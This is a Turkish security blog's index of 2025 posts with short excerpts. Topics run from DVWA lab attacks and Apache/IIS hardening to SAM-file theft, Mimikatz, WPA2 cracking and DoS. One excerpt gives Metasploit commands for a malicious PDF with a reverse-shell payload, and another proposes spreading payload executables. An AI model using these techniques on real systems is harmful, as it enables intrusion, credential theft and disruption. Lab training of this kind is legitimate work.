2025 yılı sonuçları :
DVWA Brute Force (High Level) II
Merhaba, önceki yazımda bahsettiğim dvwa uygulamasında high level güvenlik seviyesini atlatma ve brute force saldırısı yapma yönteminin son sürüm burpsuite yazılımlarında hatalı çalıştığını fark etmem sonucunda modern burpsuite yazılımlarında nasıl aynı işlemin tekrarlanabileceğini göstermek için bu yazıyı kaleme almaktayım. Bu yazıda dvwa web uygulaması high güvenlik seviyesindeyken brute force yaparak nasıl uygulama kullanıcısı parolasının çalınabileceği gösterilecektir. Konuya giriş ... [Devamı]
Bu yazı 23.03.2025 tarihinde, saat 03:18:06'de yazılmıştır.
DVWA Cross Site Request Forgery (Medium Level)
Merhaba, bu yazıda dvwa web uygulamasında güvenlik medium seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden DVWA Cross Site Request Forgery (Low Level) DVWA Cross Site Request Forgery (Medium Leve... [Devamı]
Bu yazı 24.03.2025 tarihinde, saat 01:25:30'de yazılmıştır.
DVWA Cross Site Request Forgery (High Level)
Merhaba, bu yazıda dvwa web uygulamasında csrf için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden DVWA Cross Site Request Forgery (Low Level) DVWA Cross Site Request Forgery (Med... [Devamı]
Bu yazı 24.03.2025 tarihinde, saat 02:38:17'de yazılmıştır.
DVWA SQL Injection (High Level)
Merhaba, bu yazıda dvwa web uygulamasında sql injection için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden DVWA SQL Injection (Low Level) DVWA SQL Injection (Low Level) II DVW... [Devamı]
Bu yazı 25.03.2025 tarihinde, saat 06:54:23'de yazılmıştır.
DVWA Blind SQL Injection (High Level)
Merhaba, bu yazıda dvwa web uygulamasında blind sql injection için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden DVWA Blind SQL Injection (Low Level) DVWA Blind SQL Injection (Me... [Devamı]
Bu yazı 25.03.2025 tarihinde, saat 08:39:06'de yazılmıştır.
DVWA Stored XSS (High Level)
Bu yazıda güvenlik düzeyi High seviyesine yükseltilmiş DVWA'da Stored XSS'e karşı ne gibi bir güvenlik önlemi alındığı incelenecektir ve alınan güvenlik önlemine rağmen yine Stored XSS saldırısı düzenlenebilir mi sorusuna yanıt aranacaktır. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden DVWA St... [Devamı]
Bu yazı 26.03.2025 tarihinde, saat 04:18:07'de yazılmıştır.
DVWA Güvenlik Seviyesi Bug'da Kaldığında Çözüm
Merhaba, bu yazıda dvwa web uygulamasında var olan güvenlik seviyesi takılı kalma problemi için sorunun nasıl çözümlenebileceği açıklanacaktır. Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten DVWA Tüm Dersler erişebilirsiniz. Problem DVWA'nın bu eğitim serisinde kullanılan 1.9 sürümünde bazı ders sayfalarında güvenlik seviyesi takılı kalabiliyor. Örneğin güvenlik seviyesini ayarlama sayfasında güvenl... [Devamı]
Bu yazı 15.04.2025 tarihinde, saat 00:46:58'de yazılmıştır.
Apache Remote Buffer Overflow Zafiyetini Sömürme ve Yetki Yükseltme
(+) Birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Apache Remote Buffer Overflow and Local Privilege Escalation VM (Ubuntu 20.04 LTS)   // Saldırgan VM Kioptrix - Level 1   // Hedef VM Hazırlık “Apache Mod_SSL Remote Buffer Overflow” zafiyeti Apache yazılımı ve Apache’nin mod_ssl modülünde yer alan güvenlik açıklığı yoluyla apache web sunuculara uzaktan buffer ov... [Devamı]
Bu yazı 06.05.2025 tarihinde, saat 05:03:45'de yazılmıştır.
Burpsuite ile Şifre Kırma Saldırısında Arayüzde Bildirim Metotları
Burp ile yapılan Brute Force ve Dictionary saldırılarında ekranda akan denemeler sırasında iki metot söz konusudur. Bunlardan birincisi yanlış denemelerde gelen bir cümleyi referans alma, ikincisi ise doğru denemede gelen (gelecek) bir cümleyi referans almadır. Web uygulama login sayfalarında yanlış hesap bilgisi girildiğinde bir hata / uyarı cümlesi gelir. Doğru hesap bilgisi girildiğinde ise belki bir hoşgeldiniz cümlesi gelir. Dolayısıyla olası hesapları denerken denemelerimiz içeri... [Devamı]
Bu yazı 06.05.2025 tarihinde, saat 07:43:16'de yazılmıştır.
Otomatik Tamamlama Açık Bırakılması
Çoğu web tarayıcı HTML formlarına girilen kullanıcı hesaplarını hatırlatma konusunda bir mekanizmaya sahiptirler. Bu mekanizma enable edildiğinde kullanıcı hesapları kullanıcının makinesine depolanır. Depolanan kullanıcı hesapları bir sonraki ziyarette ise tarayıcı tarafından aynı uygulamaya çekilir. Kullanıcı makinesinde depolanan otomatik tamamlama verileri kullanıcının makinesine “kullanıcı seviyesinde kod çalıştırma haklarıyla sızarak” ya da “fiziksel anlamda makineye erişerek” eld... [Devamı]
Bu yazı 06.05.2025 tarihinde, saat 12:32:09'de yazılmıştır.
Dom XSS
XSS zafiyetleri üçe ayrılırlar. Bunlar Stored Xss, Reflected Xss ve Dom Xss' tirler. Stored Xss girilen input'un filtrelenmeden hedef web uygulamasının veritabanına kaydolduğu ve oradan çekilerek web uygulaması içerisinde kullanıldığı durumda ortaya çıkar. Reflected Xss girilen input'un filtrelenmeden olduğu gibi web uygulamasının bir noktasına yansıtıldığı durumda ortaya çıkar. Dom Xss ise yine girilen input'un filtrelenmeden olduğu gibi web uygulamasının bir noktasına yansıtıldığı durumda orta... [Devamı]
Bu yazı 07.05.2025 tarihinde, saat 07:22:20'de yazılmıştır.
Http Trace Metodunun Açık Bırakılması
Bir web sunucuda http trace metodu açıldığında http talep ve http yanıtlarının log’lanması işlemi etkinleşir. (ENG) Metasploit Tip: Enable HTTP request and response logging with set HttpTrace true (TUR) Measploit İpucu: HttpTrace’i true yapma ile http talep ve yanıt log’lama aktifleşir. Referans: Metasploit Framework msfconsole arayüzünde gelen rastgele ipuçları Http trace ile bir web sunucuya talep gönderildiğinde gönderilen htt... [Devamı]
Bu yazı 11.05.2025 tarihinde, saat 23:16:50'de yazılmıştır.
Phishing By Navigating Browser Tabs
Normalde <a> tag'ı target="_blank" ile kullanıldığında bir başka sayfaya sıçrarırız. Fakat target="_blank" ile sıçradığımız sayfalar parent sayfanın window.open nesnesini düzenleyebilme yetkisine sahip olduklarından sıçradığımz sayfa javascript kodlaması ile window.open nesnesini manipule edebilir ve parent sayfayı başka bir sayfaya yönlendirebilir. Böylece kurban parent sayfaya döndüğünde belki de orijinal sayfanın birebir kopyası bir başka sayfayı görüntüleyeceğinden kullanıcı adı, şifre gi... [Devamı]
Bu yazı 13.05.2025 tarihinde, saat 11:53:00'de yazılmıştır.
Referer ve Referrer-Policy Başlıkları
Referer Header a. Referer Header Nedir? Referer başlığı bir http request başlığıdır. Referer header'ı bir web sitesindeki linkten bir başka sayfaya atladığımızda atladığımız sayfaya nereden geldiğimizi gösteren link değerini alır. Böylece web site sahipleri uygulamalarına trafiğin nereden geldiğini gözlemleyebilirler. Bir örnek vermek gerekirse scotthelme.co.uk web sitesi sahibi kendisine gelen trafikten 4000 kullanıcının twitter'dan geldiğini gözlemlemiş. Aşağıda bu site sah... [Devamı]
Bu yazı 15.05.2025 tarihinde, saat 11:32:28'de yazılmıştır.
Second Order SQL Enjeksiyonu
Second Order Sql Injection kullanıcıdan gelen kötü amaçlı kodun ilk yerleştiği sorguda zafiyet teşkil etmediği ancak daha sonra kullanıldığı sorgularda zafiyet teşkil ettiği durumlara denir. Daha detaylı ifade edecek olursak second order sql injection sql kodlarının sisteme gönderilmesi sonrası ilk sorguyu geçip veritabanına olduğu gibi kaydedilmesi, ardından kaydedilen verinin uygulamaya ait bir başka sayfa tarafından çağırılması sonucu ortaya çıkan zafiyete denir. Second Order Sql Inj... [Devamı]
Bu yazı 15.05.2025 tarihinde, saat 17:33:13'de yazılmıştır.
X-Frame-Options Başlığı
İçindekiler X-Frame-Options Başlığı a. Frame Nedir? b. Clickjacking Nedir? c. Clickjacking Saldırı Türleri d. X-Frame-Options Nasıl Korur? e. X-Frame-Options Nasıl Aktif Edilir? f. Clickjacking Sonuç g. EK: Missing X-Frame-Options Zafiyeti ve Insecure External Frame Usage Zafiyeti Arasındaki Fark Uygulama 1 [Clickjacking Uygulaması] Uygulama 2 [Clickjacking Uygulaması (Facebook Like & Share Butonları)] Uygulama 3 [X-Frame-Options ile Önlem Uygulamas... [Devamı]
Bu yazı 15.05.2025 tarihinde, saat 21:47:34'de yazılmıştır.
X-XSS-Protection Başlığı
a. X-XSS-Protection Nedir X-XSS-Protection yanıt başlığı eski web tarayıcılarda XSS saldırılarını önleyen bir http güvenlik başlığıdır. Web tarayıcılarının görüntülediği web uygulamalarda xss payload’u gelirse bu xss payload’unun web tarayıcıda çalışmasını önler ve son kullanıcının güven içinde web uygulamada gezinmesini sağlar. Günümüzde daha kapsamlı olan Content-Security-Policy’ye yerini bırakmıştır. Fakat eski işletim sistemleri kullanan ve dolayısıyla eski web tarayıcılar kullanan ... [Devamı]
Bu yazı 16.05.2025 tarihinde, saat 03:04:24'de yazılmıştır.
Güncelliğini Yitirmiş jQuery Açıklığı
Bu zafiyet jQuery kütüphanesinin güncel versiyonunun web uygulamasında kullanılmamasını ifade etmektedir. Bu yazı ise çoğu web geliştiricisinin jQuery kütüphanesinin en güncel versiyonunu kullandığını zannederken aslında nasıl eski versiyonunu kullandığını gösterecektir. jQuery'nin resmi sitesinin yayınladığı jquery stabil versiyonları şu şekildedir: jQuery 1.x jQuery 2.x jQuery 3.x Bu kütüphaneler indirilip web uygulamasına eklenebileceği gibi CDN linkleri ile de... [Devamı]
Bu yazı 16.05.2025 tarihinde, saat 05:21:26'de yazılmıştır.
XSS (Content-Sniffing)
Web tarayıcılar web sunuculardan gelen yanıt paketlerini okurlarken yanıt paketlerindeki Content-Type başlığına bakarlar ve ona göre paket içeriğini okuma / yorumlama ve ekrana sunma uygularlar. Fakat yanıt paketlerinde Content-Type başlığı bozuk değerde olursa veya Content-Type başlığı hiç yer almazsa yanıt paketinin doğru okunabilmesi / yorumlanabilmesi ve ekrana sunulabilmesi amacıyla eski web tarayıcı yazılımları (özellikle Internet Explorer) yanıt paketleri içerisindeki içerik üzerinde Cont... [Devamı]
Bu yazı 16.05.2025 tarihinde, saat 19:09:33'de yazılmıştır.
Apache'de HTTPS Güvenliği
(+) Bu uygulama birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Ubuntu 18.04 LTS - Nmap SSL-ENUM-CIPHER Script’i // Host Makine Kali 2019.3 VM - Apache // Guest Makine - Örnek Bir// Apache Web Sunucu a. Apache’de HTTPS Açma Apache web sunucularda yapılandırmaya giderek ssl/tls özelliği açılabilir. Bu işlemler önce ssl/tls veri iletimi için public ve private anahtar oluşturma, sonra ssl/tls özelliğinin apache konfig... [Devamı]
Bu yazı 17.05.2025 tarihinde, saat 01:12:50'de yazılmıştır.
Apache'de Directory Listing Kapatma
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Directory Listing demek hedef web uygulamasını dizin ve hiyerarşileriyle beraber dosyalarını görüntüleme demektir. Bu dizin listeleme işlevi hedef web uygulamasında paylaşılmayan ama sunucuda olan hassas dosyaların görünmesine ve okunmasına olanak sağlar. Dolayısıyla kapatılması önerilmektedir. Apache sunucularda Directory Listing kapatmanın yolu apache2.conf dosyasını yapılandırmaktan geçer. Öncelikle localhost'um... [Devamı]
Bu yazı 17.05.2025 tarihinde, saat 05:37:01'de yazılmıştır.
Apache'de HTTP Güvenlik Başlıklarını Ekleme
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Belli başlı http güvenlik başlıkları vardır. Bunlar arasında X-XSS-Protection // Eski tarayıcılar için XSS // önleyici header X-Content-Type-Options // Sunucudan gelen dosyayı // belirtilen uzantıyla // çalıştırma kısıtı Set-cookie (HttpOnly, Secure, SameSite) // Ortaya çıkabilecek olası // zafiyetlere karşı (örn; // xss'e karşı) çerez güvenliğini // sağlar ve çerezin üçüncü parti... [Devamı]
Bu yazı 17.05.2025 tarihinde, saat 21:56:17'de yazılmıştır.
Apache'de Http Options Metodunu Kapatma
Http Options methodu sunucuda izinli http methodları bilgisinin http yanıtlarıyla kullanıcılara gitmesini sağlayan bir http methodudur. Eğer bir sunucuda http options methodu açık olursa web geliştiricisi dalgınlıkla PUT ya da DELETE gibi http methodlarını sunucuda açık bıraktığında saldırganın bundan haberi olacaktır. Saldırgan bu bilgiden yola çıkarak hedef web sunucusuna dosya yükleyebileceğini ya da hedef web sunucusundan dosya silebileceğini anlayacaktır ve saldırısını gerçekleştirecektir. ... [Devamı]
Bu yazı 17.05.2025 tarihinde, saat 22:47:14'de yazılmıştır.
Apache'de Trace Metodunu Açma ve Kapatma
(+) Birebir denenmiştir ve başarıyla uygulanmıştır. Apache'de varsayılan olarak Trace methodu kapalı gelir. Bunu aşağıda görebilmekteyiz: telnet 127.0.0.1 80 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. TRACE / HTTP/1.0 HTTP/1.1 405 Method Not Allowed Date: Tue, 17 Oct 2017 07:47:31 GMT Server: Apache/2.4.7 (Ubuntu) Allow: Content-Length: 297 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML ... [Devamı]
Bu yazı 18.05.2025 tarihinde, saat 02:25:04'de yazılmıştır.
Apache'de Fingerprinting Engelleme
(+) Denendi ve başarıyla uygulandı. Apache yazılımı kullanan bir web sitesinin olmayan bir dizinine bağlanmaya çalıştığımızda normal koşullarda 404 Not Found hatası alırız. Ancak bazen bu hatanın yanında bir de web sunucuda çalışan web server yazılımının bilgisini, hatta web sunucuda çalışan işletim sisteminin bilgisini alabiliriz. Veyahut siteye bağlandığımızda karşılığında aldığımız HTTP Response paketinin header'ında da aynı bilgileri alabiliriz. Peki bunları nasıl engelleyebilir... [Devamı]
Bu yazı 18.05.2025 tarihinde, saat 02:27:00'de yazılmıştır.
Apache'de SSL Disable Etme, TLS Enable Etme
(+) Birebir denenmiştir ve başarıyla uygulanmıştır. Apache sunucularda SSLv2 ve SSLv3'yi disable edip daha güvenli olan TLS protokolünü enable etmek için sudo a2enmod ssl // SSL modülü yüklenir. nano /etc/apache2/apache2.conf satırları konsola girilir ve aşağıdaki satır apache2.conf dosyasının en altına eklenir. SSLProtocol -all +TLSv1.2 -all ile tüm şifreleme protokolleri disable olur. + ile de belirtilen şifreleme pr... [Devamı]
Bu yazı 18.05.2025 tarihinde, saat 05:27:27'de yazılmıştır.
IIS'te HTTPS Güvenliği
(+) Bu uygulama birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Ubuntu 18.04 LTS - Nmap SSL-ENUM-CIPHER Script’i // Host Makine Windows Server 2012 R2 VM // Guest Makine - Örnek// Windows IIS// Sunucu a. IIS’de HTTPS Açma Windows Server makinelerde IIS Yöneticisi’nden hizmet olarak sunulan web siteye erişimin https üzerinden olabilmesi özelliği açılabilir. Bu işlemler IIS Yöneticisi’nden uygulanır. Adımlar şu şekildedir... [Devamı]
Bu yazı 20.05.2025 tarihinde, saat 11:29:25'de yazılmıştır.
IIS'de HTTP Güvenlik Başlıklarını Ekleme
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Windows Server 2008 R2 Sanal Makinası Belli başlı http güvenlik başlıkları vardır. Bunlar arasında X-XSS-Protection // Eski tarayıcılar için XSS // önleyici header X-Content-Type-Options // Sunucudan gelen dosyayı // belirtilen uzantıyla // çalıştırma kısıtı Set-cookie (HttpOnly, Secure, SameSite) // Ortaya çıkabilecek olası // zafiyetlere karşı (örn... [Devamı]
Bu yazı 21.05.2025 tarihinde, saat 18:27:24'de yazılmıştır.
IIS'te Fingerprinting Engelleme
İçindekiler IIS Fingerprinting Engelleme (Windows Server 2008 R2 Örneği) IIS Fingerprinting Engelleme (Windows Server 2012 R2 Örneği) IIS Fingerprinting Engelleme (Windows Server 2008 R2 Örneği) - Ekstra IIS Fingerprinting Engelleme (Windows Server 2008 R2 Örneği) (+) Bu başlık birebir denenmiştir ve başarıyla uygulanmıştır. IIS çalışan web sunucuları http yanıt paketlerinde bilgi ifşasında bulunabilmekteler. Bu bilgi ifşalarını durdurabilm... [Devamı]
Bu yazı 22.05.2025 tarihinde, saat 21:53:20'de yazılmıştır.
IIS'te Http Metotlarını Açma ve Kapama (GUI ile)
(+) Birebir Windows Server 2008 R2 ve 2012 R2’de denenmiştir ve başarılı olunmuştur. IIS sunucularda http metotlarını kapamak için IIS Manager arayüzü kullanılabilir. Bu işlem IIS Request Filtering ekranındaki Http Verbs sekmesinde Edit Features ayar penceresinde yer alan AllowUnlistedVerbs tick kutucuğunun tick’li olup olmamasına göre iki farklı şekilde yapılabilir. Şöyle ki: i) Request Filtering -> Http Verbs sayfasında yer alan Edit Features penceresinde AllowUnlistedVe... [Devamı]
Bu yazı 23.05.2025 tarihinde, saat 02:24:30'de yazılmıştır.
IIS'te Http Metotlarını Açma ve Kapama (Web.config İle)
(+) Birebir web.config konfigurasyonları Win Server 2008 R2 ve 2012 R2’de denenmiştir ve başarılı olunmuştur. IIS sunucularda http metotlarını kapamak için web.config dosyası ve konfigurasyonu kullanılabilir. Bu işlem <RequestFiltering’in alt etiketi <verbs’ün allowUnlisted attribute değeri true veya false olmasına göre iki farklı şekilde yapılabilir. Şöyle ki: i) RequestFiltering alt etiketi <verbs etiketinin allowUnlisted attriute değeri true iken; ... [Devamı]
Bu yazı 23.05.2025 tarihinde, saat 02:41:32'de yazılmıştır.
IIS Sunucularda Server Başlığını Yanıltıcı Bir Değerle Doldurma
(+) Birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Windows Server 2008 R2 Sanal Makinası URLRewrite Bu yazıda IIS sunucularda Server header'ını modifiye etme ve bu yolla saldırganlar için hedef şaşırtmanın nasıl yapılabileceği gösterilecektir. Bu işlem için IIS sunuculara UrlRewrite tool'unun yüklenmesi (URLScan kurulumu için bkz. URLscan ile IIS Fingerprinting Engelleme) ve sistemin restart'lanması gerekmektedir. Öncelikle hedef IIS s... [Devamı]
Bu yazı 23.05.2025 tarihinde, saat 08:13:08'de yazılmıştır.
Linux Web Sunucularda Uptime Kapatma
Uygulama I (+) Birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler Ubuntu 14.04 LTS // Host Makina kali-linux-1.0.4-amd64.iso // Kali (Eski) Sanal Makinası Bu yazıda Ubuntu ana makinasından Kali (Eski) sanal makinasına (web sunucusuna) özel tcp paketleri yollanacaktır ve böylelikle hedef web sunucusunun uptime süresi öğrenilecektir. Ardından Kali (Eski) sanal makinası (web sunucusu) yapılandırılarak uptime bilgi ifşasının ö... [Devamı]
Bu yazı 23.05.2025 tarihinde, saat 08:26:55'de yazılmıştır.
Kali Linux Live'den Windows SAM Dosyasını Çekme - 1
(+) Bu belgedeki işlemler birebir denenmiştir ve kısmen başarıyla uygulanmıştır. Bu yazı bir başka yazı ile bağlıdır. Sıralama şu şekildedir: Kali Linux Live'den Windows SAM Dosyasını Çekme Kali Linux Live'den Windows SAM Dosyasını Çekme - 2 Kali Linux Live'den Windows SAM Dosyasını Manipule Etme Ubuntu Linux'dan Windows SAM Dosyasını Çekme Bu yazıda Windows kurulu makinayı Kali live USB diski ile başlatıp Windows'taki SAM dosyasını çekme anlatılacaktır. T... [Devamı]
Bu yazı 24.05.2025 tarihinde, saat 04:05:30'de yazılmıştır.
Kali Linux Live'den Windows SAM Dosyasını Çekme - 2
(+) Bu belgedeki işlemler birebir denenmiştir ve başarıyla uygulanmıştır. Bu yazı bir başka yazı ile bağlıdır. Sıralama şu şekildedir: Kali Linux Live'den Windows SAM Dosyasını Çekme Kali Linux Live'den Windows SAM Dosyasını Çekme - 2 Kali Linux Live'den Windows SAM Dosyasını Manipule Etme Ubuntu Linux'dan Windows SAM Dosyasını Çekme Bu yazıda hedef sistem bir Virtual box sanal makinası olacaktır. İçinde Windows 7 yüklü olacaktır. Biz bu sanal makinaya K... [Devamı]
Bu yazı 24.05.2025 tarihinde, saat 04:06:30'de yazılmıştır.
Kali Linux Live'den Windows SAM Dosyasını Manipule Etme
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Bu yazı bir başka yazı ile bağlıdır. Sıralama şu şekildedir: Kali Linux Live'den Windows SAM Dosyasını Çekme Kali Linux Live'den Windows SAM Dosyasını Çekme - 2 Kali Linux Live'den Windows SAM Dosyasını Manipule Etme Ubuntu Linux'dan Windows SAM Dosyasını Çekme Gereksinimler Windows 7 Home Premium // Hedef Sistem Kali Live 2016 // Hedef Sistemi Boot Edecek İşletim Sistemi... [Devamı]
Bu yazı 24.05.2025 tarihinde, saat 23:02:54'de yazılmıştır.
Ubuntu Linux'dan Windows SAM Dosyasını Çekme
(+) Bu belgedeki işlemler birebir denenmiştir ve kısmen başarılı olunmuştur. Bu yazı bir başka yazı ile bağlıdır. Sıralama şu şekildedir: Kali Linux Live'den Windows SAM Dosyasını Çekme Kali Linux Live'den Windows SAM Dosyasını Çekme - 2 Kali Linux Live'den Windows SAM Dosyasını Manipule Etme Ubuntu Linux'dan Windows SAM Dosyasını Çekme Bu yazıda Windows ve Ubuntu yanyana kuruluyken Ubuntu'dan Windows'taki SAM dosyasını çekme anlatılacaktır. Tüm bu süreç b... [Devamı]
Bu yazı 25.05.2025 tarihinde, saat 14:53:09'de yazılmıştır.
Psexec Nedir ve Kullanımı
Psexec Nedir? Psexec hafifsıklet bir telnet yerine geçen araçtır. Psexec uzak sistemde örneğin cmd.exe gibi process'ler çalıştırmaya imkan verir. Fakat psexec sadece komut satırı process'lerini uzak sistemde çalıştırabilir. Psexec şu sistemlerde çalışır: Client: Windows Vista ve daha yukarısı Server: Windows Server 2008 ve daha yukarısı Psexec Kullanımı (+) Bu başlık birebir denenmiştir ve başarıyla uygulanmıştır. Gereksinimler ... [Devamı]
Bu yazı 26.05.2025 tarihinde, saat 10:03:20'de yazılmıştır.
Payload'u Exe Yapmak ve Sisteme Sızma Örneği
(+) Bu yazı başarıyla tatbik edilmiştir. Gereksinimler Kali 1.0.0 Windows XP (Dandik) İş Akışı Msfpayload aracı ile Metasploit framework'te yer alan istediğimiz payload'u exe'leştirebiliriz (paketleyebiliriz). Böylelikle bu exe dosyalarını internette boy boy sergileyerek birinin indirmesini ve çift tıklamasını bekleyebiliriz. Fakat böylesi bir senaryoda sızma işlemini gerçekleştirebilmek için saldırgan olarak bizim makinemizin dinleme m... [Devamı]
Bu yazı 26.05.2025 tarihinde, saat 13:18:06'de yazılmıştır.
Windows Parolasının Direk Açık Halini Ele Geçirme (Mimikatz)
(+) Bu belgedeki işlemler birebir denenmiştir ve başarılı olunmuştur Kali Linux Live'den Windows SAM Dosyasını Çekme - 2 belgesinde Windows parolasının hash haliyle nasıl çekilebileceğinden ve bu hash'in nasıl kırılıp şifrenin elde edilebileceğinden bahsedilmişti. Şimdi ise windows parolasının hash halini değil de direk açık halini nasıl elde edebileceğimizden bahsedilecektir. Öncelikle yapılacak işlemlere değinelim. İlk olarak parolası alınacak hedef sisteme bir exploit ... [Devamı]
Bu yazı 26.05.2025 tarihinde, saat 18:24:44'de yazılmıştır.
Zararlı PDF Oluşturma ve Windows Sisteme Sızma Örneği
Gereksinimler: Windows XP SP2 (Dandik) Eski Kali (kali-linux-1.0.4-amd64.iso) Adobe Reader v8.1.2 Öncelikle zararlı bir pdf oluşturalım. msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME zararliBelge.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 // Kali IP Adresi msf exploit(adobe_utilprintf) > set LPORT 4455 ms... [Devamı]
Bu yazı 27.05.2025 tarihinde, saat 23:28:55'de yazılmıştır.
Hiren’s BootCD PE ile Windows Parola Hack’i
(+) Birebir denenmiştir ve başarılı olunmuştur. Gereksinimler: Utilman.exe - Windows 10 Home Premium x64 // Kurban Windows Makine HBCD_PE_x64.iso // Hacking Aracı Not: Hiren's BootCD PE iso’su olan HBCD_PE_x64.iso dosyası ~/Downloads/Hiren's BootCD PE.zip dosya yolunda yedeklidir. Ayrıca resmi sitesinden en güncel hali indirilebilir: https://www.hirensbootcd.org/download/ Senaryo: Kurban bilgi... [Devamı]
Bu yazı 28.05.2025 tarihinde, saat 09:38:51'de yazılmıştır.
İç Ağa Sızma Örneği
(+) Bu yazı gerçek sistemlerde denenmemiştir. Ancak birazdan göreceğin üzere sanal makinalarla başarılı bir şekilde simule edilebilmiştir. Diyelim ki bir arkadaşımızın public IP'sini öğrendik. Bunun üzerine hedef Public IP'yi (yani hedef network'ün en önündeki router'ı) port taramasına tabi tuttuğumuzu ve hedef router'da telnet servisinin açık olduğunu öğrendiğimizi varsayalım. Ayrıca telnet servisine anonymous girişini test ettiğimizde saldirgan@saldirgan-MJKL:~$ te... [Devamı]
Bu yazı 13.06.2025 tarihinde, saat 01:55:26'de yazılmıştır.
Aircrack-ng İle WPA2 Şifre Kırma
(+) Birebir denenmiştir ve başarılı olunmuştur. Bu yazının ilintili olduğu makale dizisi şu şekildedir: Aircrack-ng ile WPA2 Şifre Kırma Aircrack-ng ile Hedefi Hattan Düşürme Bu dökümanda USB Wifi dongle kullanılarak etraftaki router'lardan birisi hedef seçilecektir, ardından router'a giden ve gelen paketler monitör edilecektir, daha sonra hedef router'a bağlı istemcilerden birisi deauthenticate edilerek istemcinin router'a tekrar bağlantı kurmak için gönd... [Devamı]
Bu yazı 15.06.2025 tarihinde, saat 09:35:07'de yazılmıştır.
Aircrack-ng ile Hedefi Hattan Düşürme
(+) Bu yazı birebir tatbik edilmiş olup başarıyla uygulanmıştır. Bu yazının ilintili olduğu makale dizisi şu şekildedir: Aircrack-ng ile WPA2 Şifre Kırma Aircrack-ng ile Hedefi Hattan Düşürme Bu yazıda aircrack-ng aracı ile yerel ağdaki bir cihazın interneti kesilecektir. # Önce USB Wifi cihazını Ubuntu ekranının # sağ üst köşesinden Disconnect'le. Sonra # aşağıdakilerini gir. sudo su airmon-ng stop wlan2 // wlan2 interface'i USB Wi... [Devamı]
Bu yazı 16.06.2025 tarihinde, saat 06:27:59'de yazılmıştır.
DNS Zone Transferi Saldırısı
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Dns Zone transfere imkan veren bir test ortamı vardır. zonetransfer.me Bu test ortamından faydalanarak dns zone transferi gerçekleştireceğiz. Öncelikle hedef web sitesinin yetkilli dns sunucu adresini öğrenelim. dig ns zonetransfer.me Çıktı: v ; DiG 9.9.5-3ubuntu0.14-Ubuntu ns zonetransfer.me ;; global options: +cmd ;; Got answer: ;; ->>HEADERalert('Boo')</script>" zon... [Devamı]
Bu yazı 16.06.2025 tarihinde, saat 09:42:51'de yazılmıştır.
Firewall Log'larını Anlık İzleme
(+) Bu yazı birebir denenmiştir ve başarılı olunmuştur. Firewall paketlerin geçişini kontrol eden donanımdır. Paketlerin geçişine izin verip vermeme gibi kararlar alır ve her paket için verdiği kararı raporlar (log'lar). Bu yazıda firewall'ın log'larını iç ağdaki bir bilgisayara yönlendirip iç ağdaki bilgisayardan log'ların nasıl anlık olarak izlenebileceği gösterilecektir. Firewall paketlerin geçişine izin verilip verilmeyeceğini (DROP ve ALLOW ile) tayin eden bir yazılımd... [Devamı]
Bu yazı 16.06.2025 tarihinde, saat 16:20:18'de yazılmıştır.
Hping3 ile Dos Yapma ve Tcpdump ile İzleme
(+) Bu yazıdaki testler birebir uygulanmıştır ve başarılı olunmuştur. Not: Bu yazıda hping3'in yamalı versiyonu kullanılmıştır. Hping3 normalde paket oluşturma aracıdır. Ancak hping3 tool'unu --flood parametresi ile kullanırsak oluşturduğumuz paketleri olabildiğince hızlı gönder demiş oluruz ve böylece dos saldırısı yapmış oluruz. Şimdi çeşitli paketlerle dos saldırıları düzenleyelim. a. Hping3 ile UDP Flood Yapma Laptop'tan desktop PC'ye u... [Devamı]
Bu yazı 17.06.2025 tarihinde, saat 16:22:30'de yazılmıştır.
Local Area Network (LAN) DoS
(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır. Yerel ağdaki tüm cihazlara gateway'in MAC adresi hatalı olarak bildirilirse tüm cihazlar gateway'e paket gönderiyorum derken başka bir yere paket göndereceğinden internet erişimleri kopartılmış olacaktır. Ancak bu sıkıntı sonrası cihazlar arp broadcast yaparak gateway'i tekrar bulacaklardır ve internet bağlantılarını onaracaklardır. Bu nedenle yerel ağdaki cihazlara gönderilecek arp paketleri bir kez değil, sürekli gönderil... [Devamı]
